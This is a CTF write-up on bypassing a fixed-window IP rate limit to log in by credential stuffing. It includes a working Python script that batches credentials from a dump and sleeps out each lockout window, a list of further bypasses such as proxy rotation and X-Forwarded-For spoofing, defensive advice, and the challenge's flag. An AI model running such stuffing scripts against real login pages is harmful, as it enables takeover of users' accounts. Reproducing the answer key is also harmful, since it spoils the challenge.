Description
Your friend is building a simple website with a login page. To stop brute forcing and credential stuffing, they've added an IP-based rate limit. Can you bypass the rate limit, log in, and capture the flag?
Setup
Launch the challenge instance and open the login page.
You'll need a wordlist of credentials - a credential dump is provided with the challenge.
Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Understand the lockout mechanismObservationI noticed the challenge description specifically called out an IP-based rate limit, which meant the first step was to understand exactly how many attempts the limiter allowed and how long each window lasted so I could plan a bypass strategy rather than stumbling into lockouts mid-attack.The source code reveals the exact constants: 10 attempts per 30-second window. Use these known values directly to build a proactive script rather than reacting to error responses.Learn more
Rate limiting is a defensive measure that restricts how many requests a client can make within a time window. IP-based rate limiting tracks the client's source IP address and counts attempts; once a threshold is exceeded, all further requests from that IP are rejected until the window resets. This defends against automated brute-force and credential stuffing attacks (where attackers replay username/password pairs leaked from other data breaches).
A fixed window rate limiter resets its counter at the start of each time period (e.g., every 30 seconds). This is the weakest form: an attacker who detects the reset time can make a full burst of attempts at the start of every window. More robust approaches include sliding window limiters (which track a rolling time range) and token bucket or leaky bucket algorithms that smooth out burst traffic.
Bypasses beyond sleeping through the window include: rotating through multiple source IP addresses (proxy pools, Tor), spoofing the
X-Forwarded-FororX-Real-IPheaders if the server trusts them for rate-limiting purposes, using different HTTP clients with different fingerprints, or exploiting race conditions in the counter logic. This challenge uses the simplest bypass: wait out the window.Step 2
Credential stuff with automatic timeout handlingObservationI noticed the source code revealed constants of exactly 10 attempts per 30-second window, which suggested batching all credentials in groups of 10 and sleeping the remaining window time after each batch to stay under the limit without triggering a lockout.Use split(';', 1) to parse the semicolon-delimited credential dump. Read all credentials into a list, send them in batches of exactly 10, time how long each batch takes, then sleep for (30 - elapsed) seconds before the next batch. This avoids hitting the rate limit at all rather than reactively recovering from it. Match success on a case-insensitive substring against 'picoctf' or 'flag'. Your instance is assigned one random pair from the dump (it was 'emely / tyrant' in one run and 'aaron / ...' in another), so let the loop discover it rather than hardcoding a guess - and expect it to land near the end of the file.pythonpython3 << 'EOF' import requests import time URL = "http://<HOST>:<PORT_FROM_INSTANCE>/login" BATCH_SIZE = 10 WINDOW = 30 # exact window from source code # split(";", 1) handles the semicolon-delimited format of the provided dump. credentials = [line.strip().split(";", 1) for line in open("creds.txt") if ";" in line] def is_success(text): body = text.lower() return "picoctf" in body or "flag" in body found = False for i in range(0, len(credentials), BATCH_SIZE): batch = credentials[i:i + BATCH_SIZE] start = time.time() for username, password in batch: r = requests.post(URL, data={"username": username, "password": password}, timeout=10) if is_success(r.text): print(f"Success! {username};{password}") print(r.text) found = True break print(f"Tried {username};{password} - failed") if found: break elapsed = time.time() - start wait = WINDOW - elapsed if wait > 0: print(f"Batch done in {elapsed:.1f}s - sleeping {wait:.1f}s...") time.sleep(wait) EOFWhat didn't work first
Tried: Using Hydra with --wait-retry or a rate-limit-unaware tool straight through all credentials without batching.
Hydra sends requests in rapid parallel threads and does not natively sleep between fixed windows. After 10 attempts the server blocks the IP for the rest of the 30-second window, so Hydra either stalls on locked responses or silently marks every remaining pair as failed. The correct approach times each batch of exactly 10 and sleeps the remainder of the 30-second window before sending the next batch.
Tried: Spoofing the X-Forwarded-For header on every request to appear as a different IP and avoid sleeping between batches.
This bypass only works when the server trusts that header for rate-limiting. The source code in this challenge keys its counter on the real socket IP, not on X-Forwarded-For, so rotating that header has no effect and the lockout still triggers after 10 attempts from the same connection. Window-based sleeping is the correct bypass here.
Learn more
Credential stuffing differs from brute-force attacks: instead of guessing passwords randomly, attackers use real username/password pairs obtained from previous data breaches. Because many users reuse passwords across sites, stuffing attacks are highly effective against any service that doesn't rate-limit or require multi-factor authentication. The credential dump in this challenge simulates a real leaked database.
The Python
requestslibrary makes HTTP automation straightforward. Posting to a login form withrequests.post(url, data=dict)mimics what a browser sends as an application/x-www-form-urlencoded body. The response text can be checked for keywords like the flag, "Welcome", or "Incorrect" to determine success. Maintaining arequests.Sessionobject preserves cookies across requests, which is important for sites that use session-based authentication.In real engagements, tools like Hydra, Burp Suite Intruder, and ffuf handle credential stuffing and brute-force attacks with built-in rate-limit handling, proxy support, and multi-threading. Writing a custom script (as here) helps understand exactly what is being sent and how the server responds, which is valuable when the off-the-shelf tools don't handle the server's specific response format correctly.
Step 3
Read the flagObservationI noticed the script matched on 'picoctf' or 'flag' in the response body and printed the full page text on success, which meant once the correct credential pair was found the flag would appear directly in that output without any further extraction step.The winning pair is whichever credential from the provided dump your instance was randomly assigned, so it differs per instance. Once that pair logs in, the flag is displayed on the page.Learn more
The fact that valid credentials appear in a credential dump highlights a core risk of password reuse. A user who uses the same password on a breached site and on a secure site effectively gives attackers access to both. Defences against credential stuffing at the service level include: rate limiting (as here), CAPTCHA challenges, anomaly detection on login patterns, and requiring multi-factor authentication for all accounts.
For users, the defence is simple: use a unique, randomly generated password for every site (managed by a password manager) and enable MFA wherever possible. Even if a credential dump is leaked, unique passwords mean the attacker has access to only one service, not all of them. Services like Have I Been Pwned (haveibeenpwned.com) let users check whether their email appears in known breaches.
See Web Challenges and Real-World Bug Patterns for adjacent auth bugs.
Interactive tools
- JWT DecoderDecode JSON Web Tokens and inspect the header, payload, and signature. Useful for web exploitation challenges.
- Flask Session DecoderDecode Flask / itsdangerous session cookies. Splits payload, decompresses zlib, parses JSON, and verifies the HMAC signature when given the secret.
Flag
Reveal flag
picoCTF{r4t3_l1m1t_byp4ss3d_...}
The source code specifies exactly 10 attempts per 30-second window. Send credentials in batches of 10, time each batch, and sleep the remainder of 30 seconds before the next batch. The valid pair is assigned randomly per instance from the provided dump (often near the end of the file), so let the loop find it rather than hardcoding.
Key takeaway
How to prevent this
How to prevent this
Rate limiting per IP and on a fixed window is the bare minimum, and it is easy to bypass. Layer the defenses.
- Limit per account, not just per IP. An attacker rotates IPs cheaply; an account is a fixed identifier. After 10 failed attempts, throw a 24-hour lockout that requires email-confirmed reset.
- Use a sliding-window or token-bucket limiter (Redis,
express-rate-limit, Vercel BotID). Fixed windows let an attacker burst at every reset boundary. - Check incoming credentials against breach lists (
haveibeenpwnedPwned Passwords API uses k-anonymity). Reject known-leaked combinations before the password ever hits your hash function. Pair with mandatory MFA on accounts that hold real value.